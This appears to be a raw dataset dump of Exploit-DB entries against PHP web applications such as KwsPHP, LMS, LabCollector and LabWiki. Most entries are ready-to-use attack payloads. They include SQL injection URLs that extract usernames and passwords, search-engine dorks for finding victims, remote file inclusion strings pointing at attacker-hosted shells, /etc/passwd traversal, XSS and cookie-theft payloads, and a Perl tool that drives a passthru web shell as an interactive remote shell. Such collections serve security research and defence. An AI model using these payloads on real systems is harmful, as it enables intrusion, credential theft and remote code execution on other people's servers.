deardaniel/secdata-raw huggingface dataset:
Exploit-DB #5351
Description: KwsPHP 1.3.456 Module Archives - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-03
Author: S@BUN

Exploit:
##########################################
#
# KwsPHP v1.3.456 (archives)SQL Injection
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####BLOG : http://my.opera.com/SQL-Injection/blog/
#
####MAiL : hackturkiye.hackturkiye@gmail.com
#
###########################################
#
# DORK 1 : allinurl: "index.php?mod=archives"
#
###########################################
EXPLOiT 1:

index.php?mod=archives&ac=voir&id=-99999/**/union/**/select/**/0,concat(pseudo,0x3a,pass),2,3,4,5,concat(pseudo,0x3a,pass),7,8,9,10,11,12,13/**/from/**/users/*

EXPLOiT 2:

index.php?mod=archives&ac=voir&id=-99999/**/union/**/select/**/0,concat(pseudo,0x3a,pass),2,3,4,5,concat(pseudo,0x3a,pass),7,8,9,10/**/from/**/users/*

EXPLOiT 3:

index.php?mod=archives&ac=voir&id=-99999/**/union/**/select/**/0,concat(pseudo,0x3a,pass),2,3,4,5,concat(pseudo,0x3a,pass),7,8,9,10,11,12,13,14/**/from/**/users/*



###########################################
------------------S@BUN-------------------#
###########################################
-----hackturkiye.hackturkiye@gmail.com----#
###########################################
--http://my.opera.com/SQL-Injection/blog/-#
###########################################

# milw0rm.com [2008-04-03]
Exploit-DB #5350
Description: KwsPHP 1.3.456 Module Galerie - 'id_gal' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-03
Author: S@BUN

Exploit:
##########################################
#
# KwsPHP v1.3.456 (galerie)SQL Injection
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####BLOG : http://my.opera.com/SQL-Injection/blog/
#
####MAiL : hackturkiye.hackturkiye@gmail.com
#
###########################################
#
# DORK 1 : allinurl: "index.php?mod=galerie"action=gal
#
###########################################
EXPLOiT :

index.php?mod=galerie&action=gal&id_gal=-99999/**/union/**/select/**/0,1,concat(pseudo,0x3a,pass),concat(pseudo,0x3a,pass),4,5,6,7/**/from/**/users/*


###########################################
------------------S@BUN-------------------#
###########################################
-----hackturkiye.hackturkiye@gmail.com----#
###########################################
--http://my.opera.com/SQL-Injection/blog/-#
###########################################

# milw0rm.com [2008-04-03]
Exploit-DB #5353
Description: KwsPHP Module ConcoursPhoto 2.0 - 'C_ID' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-03
Author: Stack

Exploit:
#########################################################################
    KwsPHP  Module ConcoursPhoto  Remote SQL Injection Exploit
#########################################################################

## AUTHOR :  Stack-Terrorist [v40]
## Email  :  admin@v4-team.com
## Home   :  http://v4-team.com & http://stack-terrorist.com
## Script : KwsPHP  Module ConcoursPhoto
## Bug : Remote SQL Injection Exploit
## Dork : inurl:index.php?mod=ConcoursPhoto

## EXPLOITS :

http://server.com/Path/index.php?mod=ConcoursPhoto&VIEW=prix&C_ID=-1/**/union/**/select/**/concat(pseudo,0x3a,pass)/**/from/**/users/**/where/**/id=1/*

## GREETZ  : All muslims Hackers
## speacial thnx to : str0ke

#########################################################################
                        Stack-Terrorist [v40]
#########################################################################

# milw0rm.com [2008-04-03]
Exploit-DB #5352
Description: KwsPHP Module jeuxflash 1.0 - 'cat' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-03
Author: Houssamix

Exploit:
#########################################################################
    KwsPHP  Module jeuxflash  Remote SQL Injection Exploit
#########################################################################

## AUTHOR :  HouSSamix From H-T Team

## Script : KwsPHP  Module jeuxflash
## Version : last version 
## Bug : Remote SQL Injection Exploit
## Dork : inurl:index.php?mod=jeuxflash

## EXPLOITS :

http://server.com/Path/index.php?mod=jeuxflash&cat=-1%20union%20select%201,concat(pseudo,0x3a,pass),3%20from%20users%20where%20id=1--

## GREETZ  : All muslims Hackers 

#########################################################################
        H-T Team { HouSSaMiX _ ToXiC350 }
#########################################################################

# milw0rm.com [2008-04-03]
Exploit-DB #4400
Description: KwsPHP Module jeuxflash 1.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2007-09-13
Author: Houssamix

Exploit:
#########################################################################
KwsPHP  Module   ( jeuxflash )    Remote SQL Injection Vulnerability
#########################################################################


## AUTHOR : H-T Team ( HouSSamix _ ToXiC350  )
## HOME : http://no-hack.fr & http://no-hack.net


## Site:
http://koogar.alorys-hebergement.com/kwsphp/index.php?mod=downloads&filedl=30&before=8&p_dl=1
## Dork : inurl:index.php?mod=jeuxflash


## EXPLOITS :

http://server.com/Path/index.php?mod=jeuxflash&ac=play&id=-1%20union%20select%201,pseudo,3,4,5,6,7,8,9,10%20from%20users%20where%20id=1--

http://server.com/Path/index.php?mod=jeuxflash&ac=play&id=-1%20union%20select%201,pass,3,4,5,6,7,8,9,10%20from%20users%20where%20id=1--


## Note
you must register first



## GREETZ  :  CoNaN , hell15 , RachiDox , Mr Al3FriTe , muslim4ever , DDoS

#########################################################################
KwsPHP  Module   ( jeuxflash )    Remote SQL Injection Vulnerability
#########################################################################

# milw0rm.com [2007-09-13]
Exploit-DB #2104
Description: k_fileManager 1.2 - 'dwl_include_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-01
Author: SHiKaA

Exploit:
#=================================================================
#K_fileManager v1.2 <= (dwl_include_path) Remote File Inclusion Exploit
#================================================================
#                                                                |
#Critical Level : Dangerous                                      |
#                                                                |
#Venedor site : http://knusperleicht.at/                         |
#                                                                |
#Version : 1.2                                                   |
#                                                                |
#=================================================================
#Bug in : index.php
#
#Vlu Code :
#--------------------------------
#/**********************************************************
#//  INCLUDE PATH
#@define("DWL_INCLUDE_PATH",$dwl_include_path);
#//  INCLUDE PATH
#//**********************************************************
#
#//Dateien importieren
#       require_once(DWL_INCLUDE_PATH."inc/config.inc.php");
#       require_once(DWL_INCLUDE_PATH."lang/".FM_LANGUAGE."/lang.inc.php");
#       require_once(DWL_INCLUDE_PATH."inc/Dwl_template.php");
#       require_once(DWL_INCLUDE_PATH."inc/Dwl_db.php");
#       require_once(DWL_INCLUDE_PATH."inc/Dwl_directory.php");
#       require_once(DWL_INCLUDE_PATH."inc/Dwl_stuff.php");
#       require_once(DWL_INCLUDE_PATH."inc/Dwl_statistic.php");
#
#
#=================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/index.php?dwl_include_path=http://SHELLURL.COM?
#
#===============================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#GreetZ : Bl@Ck^B1rd Semsemmasr Black_Scorpion Medo_Ye7ya Kambaa  NANA Kashtawa
#Skiing Gendiaaa Saw AzIZa SnIpEr_Sa Masry OSA FEGLA 3amer
=================================================================

# milw0rm.com [2006-08-01]
Exploit-DB #2103
Description: k_shoutbox 4.4 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-01
Author: Kurdish Security

Exploit:
>>> Kurdish Security

>>> ShoutBox Remote Command Execution

>>> Freedom For Ocalan

>>> Contact : irc.gigachat.net #kurdhack & www.PatrioticHackers.com

>>> Rish : High

>>> Class : Remote

>>> Script : ShoutBox

>>> Site : http://www.knusperleicht.at

Code :


//**********************************************************
//  INCLUDE PATH
define('SB_INCLUDE_PATH', $sb_include_path);
//  INCLUDE PATH
//**********************************************************

include SB_INCLUDE_PATH.'inc/config.inc.php';
require_once SB_INCLUDE_PATH.'lang/'.SB_LANGUAGE.'/'.SB_LANGUAGE.'.lang.inc.php';
require_once SB_INCLUDE_PATH.'inc/Sb_template.php';
require_once SB_INCLUDE_PATH.'inc/Sb_bbcode.php';
require_once SB_INCLUDE_PATH.'inc/Sb_stuff.php';
require_once SB_INCLUDE_PATH.'inc/Sb_database.php';
if(SB_INCLUDE_PATH == "")  {


http://www.site.com/[path]/sb/index.php?sb_include_path=http://[site]/evilcode.txt?&cmd=id

# milw0rm.com [2006-08-01]
Exploit-DB #34084
Description: L2Web LineWeb 1.0.5 - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2010-01-06
Author: Ignacio Garrido

Exploit:
source: https://www.securityfocus.com/bid/40577/info

LineWeb is prone to multiple input-validation vulnerabilities because it fails to adequately sanitize user-supplied input. These vulnerabilities include multiple local file-include vulnerabilities, multiple SQL-injection vulnerabilities, and an unauthorized-access vulnerability.

An attacker can exploit these vulnerabilities to obtain potentially sensitive information, execute arbitrary local scripts in the context of the webserver process, obtain unauthorized access to restricted scripts, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

LineWeb 1.0.5 is vulnerable; other versions may be affected. 

The following example URIs are available:

http://www.example.com/Lineage ACM/lineweb_1.0.5/index.php?op=../../../../../../../etc/passwd
http://www.example.com/Lineage%20ACM/lineweb_1.0.5/admin/index.php?op=../../../../../../../etc/passwd
http://www.example.com/Lineage%20ACM/lineweb_1.0.5/admin/edit_news.php?newsid=%27
http://www.example.com/Lineage%20ACM/lineweb_1.0.5/admin/edit_ads.php?ad_id=1&ad_name=a&ad_content=ARGENTINA
Exploit-DB #47460
Description: LabCollector 5.423 - SQL Injection
Type: webapps
Platform: php
Date: 2019-10-04
Author: Carlos Avila

Exploit:
# Exploit Title: LabCollector (Laboratory Information System) 5.423 - Multiples SQL Injection
# Date: 09/09/2019
# Software Links/Project: https://www.labcollector.com/clientarea/downloads.php
# Version: LabCollector (Laboratory Information System) 5.423
# Exploit Author: Carlos Avila
# Category: webapps
# Tested on: Debian 9 / Win10
# Contact: http://twitter.com/badboy_nt

1. Description
  
LabCollector Lab Services Manager (LSM) is a network based application that helps laboratories, core facilities, biotechs providing services to clients or partners to keep track of samples arriving for processing, track status and generate reports. Billing management is also possible. LSM is a simple and complete lab services LIMS software. Totally configurable by the user, it can be adapted to any situation. 

This allows unauthenticated remote attacker to execute arbitrary SQL commands and obtain private information. Admin or users valid credentials aren't required. In a deeper analysis other pages are also affected with the vulnerability over others inputs.

It written in PHP it is vulnerable to SQL Injection on multiples occurrences. The parameters affected are detailed below:

http://192.168.0.102/labcollector/html/login.php [parameters affected via POST method: login]
http://192.168.0.102/labcollector/html/retrieve_password.php (parameters affected via POST method: user_name)



2. Proof of Concept


----------------------------------------------------------------------------------------------------------------------------------
Post Request:

POST /labcollector/html/login.php HTTP/1.1
Host: 192.168.0.102
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 113
DNT: 1
Connection: close
Referer: http://192.168.0.102/labcollector/html/login.php
Cookie: PHPSESSID=cio2kpq89f4da0b1fhakfn68k7
Upgrade-Insecure-Requests: 1

login=test&pass=hola&action=login&Submit=Sign+In

----------------------------------------------------------------------------------------------------------------------------------

All tests have been performed in a controlled and local environment.

sunday:sqlmap badboy_nt$ python sqlmap.py -r SQLI-LabCollectorLogin --random-agent --tamper randomcase -p login --dbms mysql --dbs




sunday:sqlmap badboy_nt$ python sqlmap.py -r SQLI-LabCollectorLogin2 --random-agent --tamper randomcase -p user_name --dbms mysql -f



3. Solution:

Application inputs must be validated correctly throughout the development of the project.
Exploit-DB #18090
Description: LabStoRe 1.5.4 - SQL Injection
Type: webapps
Platform: php
Date: 2011-11-07
Author: muuratsalo

Exploit:
	    ------------------------------------------------------------------------
	    LabStoRe <= 1.5.4 Sql Injection Vulnerabilities
	    ------------------------------------------------------------------------
     
	    author............: muuratsalo (Revshell.com)
	    contact...........: muuratsalo[at]gmail[dot]com
	    download..........: http://www.bioinformatics.org/phplabware/labwiki/index.php
    
     
	    [0x01] Vulnerability overview:

	    All versions of LabStore <= 1.5.4 are affected by Sql injection vulnerabilities.
	    A valid account could be required to exploit the vulnerabilities.
     
	    [0x02] Disclosure timeline:
     
	    [04/11/2011] - Multiple sql injection vulnerabilities discovered and reported to the vendor
	    [05/11/2011] - Multiple sql injection vulnerabilities fixed, LabStoRe 1.5.4 released. 
            [05/11/2011] - LabStoRe 1.5.4 is still vulnerable to some sql injection vulnerabilities.
	    [05/11/2011] - The vendor is currently working on fixing the reported issues.
	    [06/11/2011] - Public disclosure

	    [0x03] Proof of Concept:

            http://localhost/labstore/stocks/interface_creator/index.php?table_name=proteins&function=search&where_clause=[SQL INJECTION]&page=0&order=nature&order_type=ASC
            http://localhost/labstore/stocks/interface_creator/index_long.php?table_name=proteins&function=search&where_clause=[SQL INJECTION]&page=0&order=nature&order_type=ASC
	    http://localhost/labstore/stocks/interface_creator/index_short.php?table_name=proteins&function=search&where_clause=[SQL INJECTION]&page=0&order=nature&order_type=ASC
Exploit-DB #18100
Description: labwiki 1.1 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-11-09
Author: muuratsalo

Exploit:
------------------------------------------------------------------------
LabWiki <= 1.1 Multiple Vulnerabilities
------------------------------------------------------------------------
     
author............: muuratsalo (Revshell.com)
contact...........: muuratsalo[at]gmail[dot]com
download..........: http://www.bioinformatics.org/phplabware/labwiki/index.php
    
     
[0x01] Vulnerability overview:

All versions of LabWiki <= 1.1 are affected by multiple vulnerabilities.

     
[0x02] Disclosure timeline:
     
[08/11/2011] - Multiple vulnerabilities discovered and reported to the vendor.
[08/11/2011] - The vendor confirmed the vulnerabilities and he is working on fixing the reported issues.
[09/11/2011] - Public Disclosure


[0x03] Vulnerabilities:

-- Shell Upload Vulnerability --
The upload script /edit.php improperly checks the filetype of uploaded images.
A 'shell.php.gif' is accepted.  /* -- note that access to edit.php could be restricted -- */

-- Multiple Cross Site Scripting Vulnerabilities --
http://localhost/LabWiki/index.php?from="></><script>alert('muuratsalo')</script>&help=true&page=What_is_wiki
http://localhost/LabWiki/recentchanges.php?nothing=nothing&page_no="></><script>alert('muuratsalo')</script>
Exploit-DB #41839
Description: Ladder System 6.0 - 'faqid' SQL Injection
Type: webapps
Platform: php
Date: 2017-04-07
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: My Gaming Ladder System 6.0 - SQL Injection
# Google Dork: N/A
# Date: 07.04.2017
# Vendor Homepage: http://www.mygamingladder.com/
# Software: http://www.mygamingladder.com/ladder.shtml
# Demo: http://www.ladder.tf2.co.za/
# Version: 6.0
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/news.php?faqid=[SQL]
# staff :id
# staff :displayname
# staff :pass
# staff :email
# staff :title
# staff :access
# staff :contact
# # # # #
Exploit-DB #4955
Description: Lama Software 14.12.2007 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2008-01-21
Author: QTRinux

Exploit:
[+]----------------------------------------------------------------------------[+]
 Lama Software kostenlos  Remote file include
Scripts         : Lama Software kostenlos
Discovered By   : QTRinux
Scripts site    : http://www.lama-software.de/
Thanks To       : # Tryag.cc # cold z3ro HackTeach.org # AlQaTaRi # Mr.sh4r3s # POISON #
site        : www.TRYAG.CC
dork        : Â© 2007 by Lama Software - Accomm Solutions GmbH & Co. KG
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
admin/functions/inc.steps.access_error.php?MY_CONF[classRoot]=Shell
admin/functions/inc.steps.check_login.php?MY_CONF[classRoot]=Shell
admin/functions/inc.steps.init_system.php?MY_CONF[classRoot]=Shell
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

# milw0rm.com [2008-01-21]
Exploit-DB #4086
Description: LAN Management System (LMS) 1.9.6 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-06-20
Author: Kw3[R]Ln

Exploit:
#!/usr/bin/perl
#
# LMS - LAN Management System 1.9.6 - RFI
#
# Risk : High (Remote Code Execution)
#
# Url: http://www.lms.org.pl/download/1.9/lms-1.9.6.tar.gz
#
# Exploit:
#   http://site.com/[path]/lib/language.php?_LIB_DIR=[Evil_Script]
#
# (c)oded and f0und3d by Kw3[R]Ln <office[at]rosecuritygroup[dot]net>
#
# Romanian Security Team .: hTTp://RSTZONE.NET :.
#
#
# greetz to all RST [rstzone.net] MEMBERZ, Nemessis, Slick, str0ke, SpiridusuCaddy, zbeng, ENCODED, # Death, Ciupercutza [LUV TEAM] and all i forgot !
#
# Fuckz: GM [h4cky0u] -[bigest nub]

use LWP::Simple;

print "...........................[RST]...............................\n";
print ".                                                             .\n";
print ".        LMS - LAN Management System 1.9.6 - RFI              .\n";
print ".                                                             .\n";
print "...............................................................\n";
print ".       Romanian Security Team -> hTTp://RSTZONE.NET          .\n";
print ".       [c]oded by Kw3rLN - office@rosecuritygroup.net        .\n";
print "...............................................................\n\n";

my $kw3,$path,$shell,$conexiune,$cmd,$data ;


if ((!$ARGV[0]) || (!$ARGV[1])) { &usage;exit(0);}

$path = $ARGV[0];
chomp($path);
$shell = $ARGV[1];
chomp($shell);

$path = $path."/lib/language.php";


sub usage(){
       print "Usage    : perl $0 host/path http://site.com/cmd.txt\n\n";
       print "Example  : perl $0 http://127.0.0.1 http://site.com/cmd.txt\n\n";
       print 'Shell    : <?php ob_clean();ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?>';
          }

while ()
{
print "[kw3rln].[rst] :~\$ ";
chomp($cmd=<STDIN>);
if ($cmd eq "exit") { exit(0);}

$kw3 = $path."?_LIB_DIR=".$shell."?&cmd=".$cmd;
if ($cmd eq "")
 { print "Enter your command !\n"; }
else
 { $data=get($kw3); print $data ; }
}

# milw0rm.com [2007-06-20]
Exploit-DB #9490
Description: Lanai Core 0.6 - Remote File Disclosure / Info Disclosure
Type: webapps
Platform: php
Date: 2009-08-24
Author: Khashayar Fereidani

Exploit:
#####################################################################################
####              Lanai Core v 0.6  Remote File Disclosure / IG                  ####
#####################################################################################
#                                                                                   #
#AUTHOR : Sina Yazdanmehr (R3d.W0rm)                                                #
#Discovered by : Sina Yazdanmehr (R3d.W0rm)                                         #
#Our Site : http://IrCrash.com                                                      #
#My Official WebSite : http://R3dW0rm.ir                                            #
#IRCRASH Team Members : Khashayar Fereidani - R3d.w0rm (Sina Yazdanmehr)            #
#####################################################################################
#                                                                                   #
#Download : http://garr.dl.sourceforge.net/project/lanai/Lanai%20Core/Core%206/lanai-core_v0.6.zip
#                                                                                   #
#####################################################################################
#                                      [IG]                                         #
#                                                                                   #                                       
#http://[site]/[path]/info.php                                                      #
#                                                                                   #
#####################################################################################
#                            [Remote File Disclosure]                               #
#                                                                                   #
#http://[site]/[path]/modules/backup/download.php?f=../config.inc.php               #
#                                                                                   #
###################################### TNX GOD ######################################

# milw0rm.com [2009-08-24]
Exploit-DB #24152
Description: Land Down Under - BBCode HTML Injection
Type: webapps
Platform: php
Date: 2004-05-29
Author: Tim De Gier

Exploit:
source: https://www.securityfocus.com/bid/10435/info

Land Down Under is prone to an HTML injection vulnerability. This issue is exposed through their BBCode implementation. Exploitation could permit theft of cookie credentials, manipulation of content, or other attacks. 

[img]javascript:alert(document.cookie);[/img]